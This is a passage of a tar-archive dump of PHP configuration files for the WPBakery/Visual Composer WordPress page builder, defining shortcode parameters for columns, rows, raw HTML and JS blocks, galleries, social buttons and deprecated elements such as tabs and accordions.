?
containers/shortcode-vc-column-inner.php 0000666 00000004164 15126260003 0014432 0 ustar 00 <?php
/**
* @var $tag - shortcode tag;
*/
return array(
'name' => __( 'Inner Column', 'js_composer' ),
'base' => 'vc_column_inner',
'icon' => 'icon-wpb-row',
'class' => '',
'wrapper_class' => '',
'controls' => 'full',
'allowed_container_element' => false,
'content_element' => false,
'is_container' => true,
'description' => __( 'Place content elements inside the inner column', 'js_composer' ),
'params' => array(
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'value' => '',
'description' => __( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'js_composer' ),
),
array(
'type' => 'css_editor',
'heading' => __( 'CSS box', 'js_composer' ),
'param_name' => 'css',
'group' => __( 'Design Options', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Width', 'js_composer' ),
'param_name' => 'width',
'value' => array(
__( '1 column - 1/12', 'js_composer' ) => '1/12',
__( '2 columns - 1/6', 'js_composer' ) => '1/6',
__( '3 columns - 1/4', 'js_composer' ) => '1/4',
__( '4 columns - 1/3', 'js_composer' ) => '1/3',
__( '5 columns - 5/12', 'js_composer' ) => '5/12',
__( '6 columns - 1/2', 'js_composer' ) => '1/2',
__( '7 columns - 7/12', 'js_composer' ) => '7/12',
__( '8 columns - 2/3', 'js_composer' ) => '2/3',
__( '9 columns - 3/4', 'js_composer' ) => '3/4',
__( '10 columns - 5/6', 'js_composer' ) => '5/6',
__( '11 columns - 11/12', 'js_composer' ) => '11/12',
__( '12 columns - 1/1', 'js_composer' ) => '1/1',
),
'group' => __( 'Responsive Options', 'js_composer' ),
'description' => __( 'Select column width.', 'js_composer' ),
'std' => '1/1',
),
array(
'type' => 'column_offset',
'heading' => __( 'Responsiveness', 'js_composer' ),
'param_name' => 'offset',
'group' => __( 'Responsive Options', 'js_composer' ),
'description' => __( 'Adjust column for different screen sizes. Control width, offset and visibility settings.', 'js_composer' ),
),
),
'js_view' => 'VcColumnView',
); containers/shortcode-vc-column.php 0000666 00000003722 15126260003 0013320 0 ustar 00 <?php
/**
* @var $tag - shortcode tag;
*/
return array(
'name' => __( 'Column', 'js_composer' ),
'icon' => 'icon-wpb-row',
'is_container' => true,
'content_element' => false,
'description' => __( 'Place content elements inside the column', 'js_composer' ),
'params' => array(
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'js_composer' ),
),
array(
'type' => 'css_editor',
'heading' => __( 'CSS box', 'js_composer' ),
'param_name' => 'css',
'group' => __( 'Design Options', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Width', 'js_composer' ),
'param_name' => 'width',
'value' => array(
__( '1 column - 1/12', 'js_composer' ) => '1/12',
__( '2 columns - 1/6', 'js_composer' ) => '1/6',
__( '3 columns - 1/4', 'js_composer' ) => '1/4',
__( '4 columns - 1/3', 'js_composer' ) => '1/3',
__( '5 columns - 5/12', 'js_composer' ) => '5/12',
__( '6 columns - 1/2', 'js_composer' ) => '1/2',
__( '7 columns - 7/12', 'js_composer' ) => '7/12',
__( '8 columns - 2/3', 'js_composer' ) => '2/3',
__( '9 columns - 3/4', 'js_composer' ) => '3/4',
__( '10 columns - 5/6', 'js_composer' ) => '5/6',
__( '11 columns - 11/12', 'js_composer' ) => '11/12',
__( '12 columns - 1/1', 'js_composer' ) => '1/1',
),
'group' => __( 'Responsive Options', 'js_composer' ),
'description' => __( 'Select column width.', 'js_composer' ),
'std' => '1/1',
),
array(
'type' => 'column_offset',
'heading' => __( 'Responsiveness', 'js_composer' ),
'param_name' => 'offset',
'group' => __( 'Responsive Options', 'js_composer' ),
'description' => __( 'Adjust column for different screen sizes. Control width, offset and visibility settings.', 'js_composer' ),
),
),
'js_view' => 'VcColumnView',
); containers/shortcode-vc-row.php 0000666 00000015147 15126260003 0012636 0 ustar 00 <?php
return array(
'name' => __( 'Row' , 'js_composer' ),
'is_container' => true,
'icon' => 'icon-wpb-row',
'show_settings_on_create' => false,
'category' => __( 'Content', 'js_composer' ),
'description' => __( 'Place content elements inside the row', 'js_composer' ),
'params' => array(
array(
'type' => 'dropdown',
'heading' => __( 'Row stretch', 'js_composer' ),
'param_name' => 'full_width',
'value' => array(
__( 'Default', 'js_composer' ) => '',
__( 'Stretch row', 'js_composer' ) => 'stretch_row',
__( 'Stretch row and content', 'js_composer' ) => 'stretch_row_content',
__( 'Stretch row and content (no paddings)', 'js_composer' ) => 'stretch_row_content_no_spaces',
),
'description' => __( 'Select stretching options for row and content (Note: stretched may not work properly if parent container has "overflow: hidden" CSS property).', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Columns gap', 'js_composer' ),
'param_name' => 'gap',
'value' => array(
'0px' => '0',
'1px' => '1',
'2px' => '2',
'3px' => '3',
'4px' => '4',
'5px' => '5',
'10px' => '10',
'15px' => '15',
'20px' => '20',
'25px' => '25',
'30px' => '30',
'35px' => '35',
),
'std' => '0',
'description' => __( 'Select gap between columns in row.', 'js_composer' ),
),
array(
'type' => 'checkbox',
'heading' => __( 'Full height row?', 'js_composer' ),
'param_name' => 'full_height',
'description' => __( 'If checked row will be set to full height.', 'js_composer' ),
'value' => array( __( 'Yes', 'js_composer' ) => 'yes' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Columns position', 'js_composer' ),
'param_name' => 'columns_placement',
'value' => array(
__( 'Middle', 'js_composer' ) => 'middle',
__( 'Top', 'js_composer' ) => 'top',
__( 'Bottom', 'js_composer' ) => 'bottom',
__( 'Stretch', 'js_composer' ) => 'stretch',
),
'description' => __( 'Select columns position within row.', 'js_composer' ),
'dependency' => array(
'element' => 'full_height',
'not_empty' => true,
),
),
array(
'type' => 'checkbox',
'heading' => __( 'Equal height', 'js_composer' ),
'param_name' => 'equal_height',
'description' => __( 'If checked columns will be set to equal height.', 'js_composer' ),
'value' => array( __( 'Yes', 'js_composer' ) => 'yes' )
),
array(
'type' => 'dropdown',
'heading' => __( 'Content position', 'js_composer' ),
'param_name' => 'content_placement',
'value' => array(
__( 'Default', 'js_composer' ) => '',
__( 'Top', 'js_composer' ) => 'top',
__( 'Middle', 'js_composer' ) => 'middle',
__( 'Bottom', 'js_composer' ) => 'bottom',
),
'description' => __( 'Select content position within columns.', 'js_composer' ),
),
array(
'type' => 'checkbox',
'heading' => __( 'Use video background?', 'js_composer' ),
'param_name' => 'video_bg',
'description' => __( 'If checked, video will be used as row background.', 'js_composer' ),
'value' => array( __( 'Yes', 'js_composer' ) => 'yes' ),
),
array(
'type' => 'textfield',
'heading' => __( 'YouTube link', 'js_composer' ),
'param_name' => 'video_bg_url',
'value' => 'https://www.youtube.com/watch?v=lMJXxhRFO1k',
// default video url
'description' => __( 'Add YouTube link.', 'js_composer' ),
'dependency' => array(
'element' => 'video_bg',
'not_empty' => true,
),
),
array(
'type' => 'dropdown',
'heading' => __( 'Parallax', 'js_composer' ),
'param_name' => 'video_bg_parallax',
'value' => array(
__( 'None', 'js_composer' ) => '',
__( 'Simple', 'js_composer' ) => 'content-moving',
__( 'With fade', 'js_composer' ) => 'content-moving-fade',
),
'description' => __( 'Add parallax type background for row.', 'js_composer' ),
'dependency' => array(
'element' => 'video_bg',
'not_empty' => true,
),
),
array(
'type' => 'dropdown',
'heading' => __( 'Parallax', 'js_composer' ),
'param_name' => 'parallax',
'value' => array(
__( 'None', 'js_composer' ) => '',
__( 'Simple', 'js_composer' ) => 'content-moving',
__( 'With fade', 'js_composer' ) => 'content-moving-fade',
),
'description' => __( 'Add parallax type background for row (Note: If no image is specified, parallax will use background image from Design Options).', 'js_composer' ),
'dependency' => array(
'element' => 'video_bg',
'is_empty' => true,
),
),
array(
'type' => 'attach_image',
'heading' => __( 'Image', 'js_composer' ),
'param_name' => 'parallax_image',
'value' => '',
'description' => __( 'Select image from media library.', 'js_composer' ),
'dependency' => array(
'element' => 'parallax',
'not_empty' => true,
),
),
array(
'type' => 'textfield',
'heading' => __( 'Parallax speed', 'js_composer' ),
'param_name' => 'parallax_speed_video',
'value' => '1.5',
'description' => __( 'Enter parallax speed ratio (Note: Default value is 1.5, min value is 1)', 'js_composer' ),
'dependency' => array(
'element' => 'video_bg_parallax',
'not_empty' => true,
),
),
array(
'type' => 'textfield',
'heading' => __( 'Parallax speed', 'js_composer' ),
'param_name' => 'parallax_speed_bg',
'value' => '1.5',
'description' => __( 'Enter parallax speed ratio (Note: Default value is 1.5, min value is 1)', 'js_composer' ),
'dependency' => array(
'element' => 'parallax',
'not_empty' => true,
),
),
array(
'type' => 'el_id',
'heading' => __( 'Row ID', 'js_composer' ),
'param_name' => 'el_id',
'description' => sprintf( __( 'Enter row ID (Note: make sure it is unique and valid according to <a href="%s" target="_blank">w3c specification</a>).', 'js_composer' ), 'http://www.w3schools.com/tags/att_global_id.asp' ),
),
array(
'type' => 'checkbox',
'heading' => __( 'Disable row', 'js_composer' ),
'param_name' => 'disable_element', // Inner param name.
'description' => __( 'If checked the row won\'t be visible on the public side of your website. You can switch it back any time.', 'js_composer' ),
'value' => array( __( 'Yes', 'js_composer' ) => 'yes' ),
),
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'js_composer' ),
),
array(
'type' => 'css_editor',
'heading' => __( 'CSS box', 'js_composer' ),
'param_name' => 'css',
'group' => __( 'Design Options', 'js_composer' ),
),
),
'js_view' => 'VcRowView',
); structure/shortcode-vc-raw-html.php 0000666 00000002046 15126260003 0013447 0 ustar 00 <?php
return array(
'name' => __( 'Raw HTML', 'js_composer' ),
'base' => 'vc_raw_html',
'icon' => 'icon-wpb-raw-html',
'category' => __( 'Structure', 'js_composer' ),
'wrapper_class' => 'clearfix',
'description' => __( 'Output raw HTML code on your page', 'js_composer' ),
'params' => array(
array(
'type' => 'textarea_raw_html',
'holder' => 'div',
'heading' => __( 'Raw HTML', 'js_composer' ),
'param_name' => 'content',
'value' => base64_encode( '<p>I am raw html block.<br/>Click edit button to change this html</p>' ),
'description' => __( 'Enter your HTML content.', 'js_composer' ),
),
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'js_composer' ),
),
array(
'type' => 'css_editor',
'heading' => __( 'CSS box', 'js_composer' ),
'param_name' => 'css',
'group' => __( 'Design Options', 'js_composer' ),
),
),
); structure/shortcode-vc-raw-js.php 0000666 00000001650 15126260003 0013117 0 ustar 00 <?php
return array(
'name' => __( 'Raw JS', 'js_composer' ),
'base' => 'vc_raw_js',
'icon' => 'icon-wpb-raw-javascript',
'category' => __( 'Structure', 'js_composer' ),
'wrapper_class' => 'clearfix',
'description' => __( 'Output raw JavaScript code on your page', 'js_composer' ),
'params' => array(
array(
'type' => 'textarea_raw_html',
'holder' => 'div',
'heading' => __( 'JavaScript Code', 'js_composer' ),
'param_name' => 'content',
'value' => __( base64_encode( '<script type="text/javascript"> alert("Enter your js here!" ); </script>' ), 'js_composer' ),
'description' => __( 'Enter your JavaScript code.', 'js_composer' ),
),
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'js_composer' ),
),
),
); content/shortcode-vc-gallery.php 0000666 00000011516 15126260003 0012767 0 ustar 00 <?php
return array(
'name' => __( 'Image Gallery', 'js_composer' ),
'base' => 'vc_gallery',
'icon' => 'icon-wpb-images-stack',
'category' => __( 'Content', 'js_composer' ),
'description' => __( 'Responsive image gallery', 'js_composer' ),
'params' => array(
array(
'type' => 'textfield',
'heading' => __( 'Widget title', 'js_composer' ),
'param_name' => 'title',
'description' => __( 'Enter text used as widget title (Note: located above content element).', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Gallery type', 'js_composer' ),
'param_name' => 'type',
'value' => array(
__( 'Flex slider fade', 'js_composer' ) => 'flexslider_fade',
__( 'Flex slider slide', 'js_composer' ) => 'flexslider_slide',
__( 'Nivo slider', 'js_composer' ) => 'nivo',
__( 'Image grid', 'js_composer' ) => 'image_grid',
),
'description' => __( 'Select gallery type.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Auto rotate', 'js_composer' ),
'param_name' => 'interval',
'value' => array(
3,
5,
10,
15,
__( 'Disable', 'js_composer' ) => 0,
),
'description' => __( 'Auto rotate slides each X seconds.', 'js_composer' ),
'dependency' => array(
'element' => 'type',
'value' => array(
'flexslider_fade',
'flexslider_slide',
'nivo',
),
),
),
array(
'type' => 'dropdown',
'heading' => __( 'Image source', 'js_composer' ),
'param_name' => 'source',
'value' => array(
__( 'Media library', 'js_composer' ) => 'media_library',
__( 'External links', 'js_composer' ) => 'external_link',
),
'std' => 'media_library',
'description' => __( 'Select image source.', 'js_composer' ),
),
array(
'type' => 'attach_images',
'heading' => __( 'Images', 'js_composer' ),
'param_name' => 'images',
'value' => '',
'description' => __( 'Select images from media library.', 'js_composer' ),
'dependency' => array(
'element' => 'source',
'value' => 'media_library',
),
),
array(
'type' => 'exploded_textarea_safe',
'heading' => __( 'External links', 'js_composer' ),
'param_name' => 'custom_srcs',
'description' => __( 'Enter external link for each gallery image (Note: divide links with linebreaks (Enter)).', 'js_composer' ),
'dependency' => array(
'element' => 'source',
'value' => 'external_link',
),
),
array(
'type' => 'textfield',
'heading' => __( 'Image size', 'js_composer' ),
'param_name' => 'img_size',
'value' => 'thumbnail',
'description' => __( 'Enter image size. Example: thumbnail, medium, large, full or other sizes defined by current theme. Alternatively enter image size in pixels: 200x100 (Width x Height). Leave empty to use "thumbnail" size.', 'js_composer' ),
'dependency' => array(
'element' => 'source',
'value' => 'media_library',
),
),
array(
'type' => 'textfield',
'heading' => __( 'Image size', 'js_composer' ),
'param_name' => 'external_img_size',
'value' => '',
'description' => __( 'Enter image size in pixels. Example: 200x100 (Width x Height).', 'js_composer' ),
'dependency' => array(
'element' => 'source',
'value' => 'external_link',
),
),
array(
'type' => 'dropdown',
'heading' => __( 'On click action', 'js_composer' ),
'param_name' => 'onclick',
'value' => array(
__( 'None', 'js_composer' ) => '',
__( 'Link to large image', 'js_composer' ) => 'img_link_large',
__( 'Open prettyPhoto', 'js_composer' ) => 'link_image',
__( 'Open custom link', 'js_composer' ) => 'custom_link',
),
'description' => __( 'Select action for click action.', 'js_composer' ),
'std' => 'link_image',
),
array(
'type' => 'exploded_textarea_safe',
'heading' => __( 'Custom links', 'js_composer' ),
'param_name' => 'custom_links',
'description' => __( 'Enter links for each slide (Note: divide links with linebreaks (Enter)).', 'js_composer' ),
'dependency' => array(
'element' => 'onclick',
'value' => array( 'custom_link' ),
),
),
array(
'type' => 'dropdown',
'heading' => __( 'Custom link target', 'js_composer' ),
'param_name' => 'custom_links_target',
'description' => __( 'Select where to open custom links.', 'js_composer' ),
'dependency' => array(
'element' => 'onclick',
'value' => array(
'custom_link',
'img_link_large',
),
),
'value' => vc_target_param_list(),
),
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'js_composer' ),
),
array(
'type' => 'css_editor',
'heading' => __( 'CSS box', 'js_composer' ),
'param_name' => 'css',
'group' => __( 'Design Options', 'js_composer' ),
),
),
); social/shortcode-vc-googleplus.php 0000666 00000003253 15126260003 0013307 0 ustar 00 <?php
return array(
'name' => __( 'Google+ Button', 'js_composer' ),
'base' => 'vc_googleplus',
'icon' => 'icon-wpb-application-plus',
'category' => __( 'Social', 'js_composer' ),
'description' => __( 'Recommend on Google', 'js_composer' ),
'params' => array(
array(
'type' => 'dropdown',
'heading' => __( 'Button size', 'js_composer' ),
'param_name' => 'type',
'admin_label' => true,
'value' => array(
__( 'Standard', 'js_composer' ) => 'standard',
__( 'Small', 'js_composer' ) => 'small',
__( 'Medium', 'js_composer' ) => 'medium',
__( 'Tall', 'js_composer' ) => 'tall',
),
'description' => __( 'Select button size.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Annotation', 'js_composer' ),
'param_name' => 'annotation',
'admin_label' => true,
'value' => array(
__( 'Bubble', 'js_composer' ) => 'bubble',
__( 'Inline', 'js_composer' ) => 'inline',
__( 'None', 'js_composer' ) => 'none',
),
'std' => 'bubble',
'description' => __( 'Select type of annotation.', 'js_composer' ),
),
array(
'type' => 'textfield',
'heading' => __( 'Width', 'js_composer' ),
'param_name' => 'widget_width',
'dependency' => array(
'element' => 'annotation',
'value' => array( 'inline' ),
),
'description' => __( 'Minimum width of 120px to display. If annotation is set to "inline", this parameter sets the width in pixels to use for button and its inline annotation. Default width is 450px.', 'js_composer' ),
),
array(
'type' => 'css_editor',
'heading' => __( 'CSS box', 'js_composer' ),
'param_name' => 'css',
'group' => __( 'Design Options', 'js_composer' ),
),
),
); social/shortcode-vc-facebook.php 0000666 00000001540 15126260003 0012675 0 ustar 00 <?php
return array(
'name' => __( 'Facebook Like', 'js_composer' ),
'base' => 'vc_facebook',
'icon' => 'icon-wpb-balloon-facebook-left',
'category' => __( 'Social', 'js_composer' ),
'description' => __( 'Facebook "Like" button', 'js_composer' ),
'params' => array(
array(
'type' => 'dropdown',
'heading' => __( 'Button type', 'js_composer' ),
'param_name' => 'type',
'admin_label' => true,
'value' => array(
__( 'Horizontal', 'js_composer' ) => 'standard',
__( 'Horizontal with count', 'js_composer' ) => 'button_count',
__( 'Vertical with count', 'js_composer' ) => 'box_count',
),
'description' => __( 'Select button type.', 'js_composer' ),
),
array(
'type' => 'css_editor',
'heading' => __( 'CSS box', 'js_composer' ),
'param_name' => 'css',
'group' => __( 'Design Options', 'js_composer' ),
),
),
); deprecated/shortcode-vc-carousel.php 0000666 00000011472 15126260003 0013574 0 ustar 00 <?php
return array(
'name' => __( 'Post Carousel', 'js_composer' ),
'base' => 'vc_carousel',
'content_element' => false,
'deprecated' => '4.4',
'class' => '',
'icon' => 'icon-wpb-vc_carousel',
'category' => __( 'Content', 'js_composer' ),
'description' => __( 'Animated carousel with posts', 'js_composer' ),
'params' => array(
array(
'type' => 'textfield',
'heading' => __( 'Widget title', 'js_composer' ),
'param_name' => 'title',
'description' => __( 'Enter text used as widget title (Note: located above content element).', 'js_composer' ),
),
array(
'type' => 'loop',
'heading' => __( 'Carousel content', 'js_composer' ),
'param_name' => 'posts_query',
'value' => 'size:10|order_by:date',
'settings' => array(
'size' => array(
'hidden' => false,
'value' => 10,
),
'order_by' => array( 'value' => 'date' ),
),
'description' => __( 'Create WordPress loop, to populate content from your site.', 'js_composer' ),
),
array(
'type' => 'sorted_list',
'heading' => __( 'Teaser layout', 'js_composer' ),
'param_name' => 'layout',
'description' => __( 'Control teasers look. Enable blocks and place them in desired order. Note: This setting can be overrriden on post to post basis.', 'js_composer' ),
'value' => 'title,image,text',
'options' => array(
array(
'image',
__( 'Thumbnail', 'js_composer' ),
vc_layout_sub_controls(),
),
array(
'title',
__( 'Title', 'js_composer' ),
vc_layout_sub_controls(),
),
array(
'text',
__( 'Text', 'js_composer' ),
array(
array(
'excerpt',
__( 'Teaser/Excerpt', 'js_composer' ),
),
array(
'text',
__( 'Full content', 'js_composer' ),
),
),
),
array(
'link',
__( 'Read more link', 'js_composer' ),
),
),
),
array(
'type' => 'dropdown',
'heading' => __( 'Link target', 'js_composer' ),
'param_name' => 'link_target',
'value' => vc_target_param_list(),
),
array(
'type' => 'textfield',
'heading' => __( 'Thumbnail size', 'js_composer' ),
'param_name' => 'thumb_size',
'value' => 'thumbnail',
'description' => __( 'Enter thumbnail size. Example: thumbnail, medium, large, full or other sizes defined by current theme. Alternatively enter image size in pixels: 200x100 (Width x Height) . ', 'js_composer' ),
),
array(
'type' => 'textfield',
'heading' => __( 'Slider speed', 'js_composer' ),
'param_name' => 'speed',
'value' => '5000',
'description' => __( 'Duration of animation between slides (in ms).', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Slider orientation', 'js_composer' ),
'param_name' => 'mode',
'value' => array(
__( 'Horizontal', 'js_composer' ) => 'horizontal',
__( 'Vertical', 'js_composer' ) => 'vertical',
),
'description' => __( 'Select slider position (Note: this affects swiping orientation).', 'js_composer' ),
),
array(
'type' => 'textfield',
'heading' => __( 'Slides per view', 'js_composer' ),
'param_name' => 'slides_per_view',
'value' => '1',
'description' => __( 'Enter number of slides to display at the same time.', 'js_composer' ),
),
array(
'type' => 'checkbox',
'heading' => __( 'Slider autoplay', 'js_composer' ),
'param_name' => 'autoplay',
'description' => __( 'Enable autoplay mode.', 'js_composer' ),
'value' => array( __( 'Yes', 'js_composer' ) => 'yes' ),
),
array(
'type' => 'checkbox',
'heading' => __( 'Hide pagination control', 'js_composer' ),
'param_name' => 'hide_pagination_control',
'description' => __( 'If "YES" pagination control will be removed', 'js_composer' ),
'value' => array( __( 'Yes', 'js_composer' ) => 'yes' ),
),
array(
'type' => 'checkbox',
'heading' => __( 'Hide prev/next buttons', 'js_composer' ),
'param_name' => 'hide_prev_next_buttons',
'description' => __( 'If "YES" prev/next control will be removed', 'js_composer' ),
'value' => array( __( 'Yes', 'js_composer' ) => 'yes' ),
),
array(
'type' => 'checkbox',
'heading' => __( 'Partial view', 'js_composer' ),
'param_name' => 'partial_view',
'description' => __( 'If "YES" part of the next slide will be visible on the right side', 'js_composer' ),
'value' => array( __( 'Yes', 'js_composer' ) => 'yes' ),
),
array(
'type' => 'checkbox',
'heading' => __( 'Slider loop', 'js_composer' ),
'param_name' => 'wrap',
'description' => __( 'Enable slider loop mode.', 'js_composer' ),
'value' => array( __( 'Yes', 'js_composer' ) => 'yes' ),
),
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'js_composer' ),
),
),
); deprecated/shortcode-vc-tabs.php 0000666 00000002725 15126260003 0012711 0 ustar 00 <?php
return array(
'name' => __( 'Tabs', 'js_composer' ),
'base' => 'vc_tabs',
'show_settings_on_create' => false,
'is_container' => true,
'icon' => 'icon-wpb-ui-tab-content',
'category' => __( 'Content', 'js_composer' ),
'deprecated' => '4.6',
'description' => __( 'Tabbed content', 'js_composer' ),
'params' => array(
array(
'type' => 'textfield',
'heading' => __( 'Widget title', 'js_composer' ),
'param_name' => 'title',
'description' => __( 'Enter text used as widget title (Note: located above content element).', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Auto rotate', 'js_composer' ),
'param_name' => 'interval',
'value' => array(
__( 'Disable', 'js_composer' ) => 0,
3,
5,
10,
15,
),
'std' => 0,
'description' => __( 'Auto rotate tabs each X seconds.', 'js_composer' ),
),
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'js_composer' ),
),
),
'custom_markup' => '
<div class="wpb_tabs_holder wpb_holder vc_container_for_children">
<ul class="tabs_controls">
</ul>
%content%
</div>',
'default_content' => '
[vc_tab title="' . __( 'Tab 1', 'js_composer' ) . '" tab_id=""][/vc_tab]
[vc_tab title="' . __( 'Tab 2', 'js_composer' ) . '" tab_id=""][/vc_tab]
',
'js_view' => 'VcTabsView',
); deprecated/shortcode-vc-accordion.php 0000666 00000004460 15126260003 0013717 0 ustar 00 <?php
return array(
'name' => __( 'Accordion', 'js_composer' ),
'base' => 'vc_accordion',
'show_settings_on_create' => false,
'is_container' => true,
'icon' => 'icon-wpb-ui-accordion',
'deprecated' => '4.6',
'category' => __( 'Content', 'js_composer' ),
'description' => __( 'Collapsible content panels', 'js_composer' ),
'params' => array(
array(
'type' => 'textfield',
'heading' => __( 'Widget title', 'js_composer' ),
'param_name' => 'title',
'description' => __( 'Enter text used as widget title (Note: located above content element).', 'js_composer' ),
),
array(
'type' => 'textfield',
'heading' => __( 'Active section', 'js_composer' ),
'param_name' => 'active_tab',
'value' => 1,
'description' => __( 'Enter section number to be active on load or enter "false" to collapse all sections.', 'js_composer' ),
),
array(
'type' => 'checkbox',
'heading' => __( 'Allow collapse all sections?', 'js_composer' ),
'param_name' => 'collapsible',
'description' => __( 'If checked, it is allowed to collapse all sections.', 'js_composer' ),
'value' => array( __( 'Yes', 'js_composer' ) => 'yes' ),
),
array(
'type' => 'checkbox',
'heading' => __( 'Disable keyboard interactions?', 'js_composer' ),
'param_name' => 'disable_keyboard',
'description' => __( 'If checked, disables keyboard arrow interactions (Keys: Left, Up, Right, Down, Space).', 'js_composer' ),
'value' => array( __( 'Yes', 'js_composer' ) => 'yes' ),
),
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
'param_name' => 'el_class',
'description' => __( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'js_composer' ),
),
),
'custom_markup' => '
<div class="wpb_accordion_holder wpb_holder clearfix vc_container_for_children">
%content%
</div>
<div class="tab_controls">
<a class="add_tab" title="' . __( 'Add section', 'js_composer' ) . '"><span class="vc_icon"></span> <span class="tab-label">' . __( 'Add section', 'js_composer' ) . '</span></a>
</div>
',
'default_content' => '
[vc_accordion_tab title="' . __( 'Section 1', 'js_composer' ) . '"][/vc_accordion_tab]
[vc_accordion_tab title="' . __( 'Section 2', 'js_composer' ) . '"][/vc_accordion_tab]
',
'js_view' => 'VcAccordionView',
); deprecated/shortcode-vc-accordion-tab.php 0000666 00000001615 15126260003 0014462 0 ustar 00 <?php
return array(
'name' => __( 'Section', 'js_composer' ),
'base' => 'vc_accordion_tab',
'allowed_container_element' => 'vc_row',
'is_container' => true,
'deprecated' => '4.6',
'content_element' => false,
'params' => array(
array(
'type' => 'textfield',
'heading' => __( 'Title', 'js_composer' ),
'param_name' => 'title',
'value' => __( 'Section', 'js_composer' ),
'description' => __( 'Enter accordion section title.', 'js_composer' ),
),
array(
'type' => 'el_id',
'heading' => __( 'Section ID', 'js_composer' ),
'param_name' => 'el_id',
'description' => sprintf( __( 'Enter optional row ID. Make sure it is unique, and it is valid as w3c specification: %s (Must not have spaces)', 'js_composer' ), '<a target="_blank" href="http://www.w3schools.com/tags/att_global_id.asp">' . __( 'link', 'js_composer' ) . '</a>' ),
),
),
'js_view' => 'VcAccordionTabView',
); deprecated/shortcode-vc-cta-button2.php 0000666 00000007646 15126260003 0014131 0 ustar 00 <?php
return array(
'name' => __( 'Call to Action Button', 'js_composer' ) . ' 2',
'base' => 'vc_cta_button2',
'icon' => 'icon-wpb-call-to-action',
'deprecated' => '4.5',
'category' => array( __( 'Content', 'js_composer' ) ),
'description' => __( 'Catch visitors attention with CTA block', 'js_composer' ),
'params' => array(
array(
'type' => 'textfield',
'heading' => __( 'Heading', 'js_composer' ),
'admin_label' => true,
'param_name' => 'h2',
'value' => __( 'Hey! I am first heading line feel free to change me', 'js_composer' ),
'description' => __( 'Enter text for heading line.', 'js_composer' ),
),
array(
'type' => 'textfield',
'heading' => __( 'Subheading', 'js_composer' ),
'param_name' => 'h4',
'value' => '',
'description' => __( 'Enter text for subheading line.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Shape', 'js_composer' ),
'param_name' => 'style',
'value' => getVcShared( 'cta styles' ),
'description' => __( 'Select display shape and style.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Width', 'js_composer' ),
'param_name' => 'el_width',
'value' => getVcShared( 'cta widths' ),
'description' => __( 'Select element width (percentage).', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Text alignment', 'js_composer' ),
'param_name' => 'txt_align',
'value' => getVcShared( 'text align' ),
'description' => __( 'Select text alignment in "Call to Action" block.', 'js_composer' ),
),
array(
'type' => 'colorpicker',
'heading' => __( 'Background color', 'js_composer' ),
'param_name' => 'accent_color',
'description' => __( 'Select background color.', 'js_composer' ),
),
array(
'type' => 'textarea_html',
'heading' => __( 'Text', 'js_composer' ),
'param_name' => 'content',
'value' => __( 'I am promo text. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'js_composer' ),
),
array(
'type' => 'vc_link',
'heading' => __( 'URL (Link)', 'js_composer' ),
'param_name' => 'link',
'description' => __( 'Add link to button (Important: adding link automatically adds button).', 'js_composer' ),
),
array(
'type' => 'textfield',
'heading' => __( 'Text on the button', 'js_composer' ),
'param_name' => 'title',
'value' => __( 'Text on the button', 'js_composer' ),
'description' => __( 'Add text on the button.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Shape', 'js_composer' ),
'param_name' => 'btn_style',
'value' => getVcShared( 'button styles' ),
'description' => __( 'Select button display style and shape.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Color', 'js_composer' ),
'param_name' => 'color',
'value' => getVcShared( 'colors' ),
'description' => __( 'Select button color.', 'js_composer' ),
'param_holder_class' => 'vc_colored-dropdown',
),
array(
'type' => 'dropdown',
'heading' => __( 'Size', 'js_composer' ),
'param_name' => 'size',
'value' => getVcShared( 'sizes' ),
'std' => 'md',
'description' => __( 'Select button size.', 'js_composer' ),
),
array(
'type' => 'dropdown',
'heading' => __( 'Button position', 'js_composer' ),
'param_name' => 'position',
'value' => array(
__( 'Right', 'js_composer' ) => 'right',
__( 'Left', 'js_composer' ) => 'left',
__( 'Bottom', 'js_composer' ) => 'bottom',
),
'description' => __( 'Select button alignment.', 'js_composer' ),
),
vc_map_add_css_animation(),
array(
'type' => 'textfield',
'heading' => __( 'Extra class name', 'js_composer' ),
